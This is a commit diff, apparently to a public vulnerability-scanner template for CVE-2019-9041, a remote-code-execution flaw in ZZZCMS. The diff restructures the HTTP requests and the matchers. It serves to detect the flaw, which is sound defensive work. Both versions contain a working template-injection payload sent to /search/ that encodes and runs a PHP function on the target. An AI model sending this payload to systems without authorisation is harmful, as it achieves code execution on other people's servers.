req and matcher update

projectdiscovery · Sep 26, 2023 · 5915161 · 5915161
1 parent f188fcb
commit 5915161
Showing 1 changed file with 13 additions and 27 deletions.
diff --git a/http/cves/2019/CVE-2019-9041.yaml b/http/cves/2019/CVE-2019-9041.yaml
@@ -23,37 +23,23 @@ info:
   tags: cve,cve2019,zzzcms,rce,edb
 
 http:
-  - method: POST
-    path:
-      - "{{BaseURL}}/search/"
+  - raw:
+      - |
+        POST /search/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
 
-    headers:
-      Content-Type: application/x-www-form-urlencoded
+      - |
+        POST /search/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
 
-  - method: POST
-    path:
-      - "{{BaseURL}}/search/"
+        keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
 
-    body: |
-      keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
-
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-
-    matchers-condition: and
     matchers:
-      - type: word
-        part: body_1
-        words:
-          - "phpinfo"
-        negative: true
-
-      - type: word
-        part: body_2
-        words:
-          - "phpinfo"
-          - "PHP Version"
-
       - type: dsl
         dsl:
           - 'status_code_2 == 200'
+          - '!contains(body_1, "phpinfo")'
+          - 'contains_all(body_2, "phpinfo","PHP Version")'
+        condition: and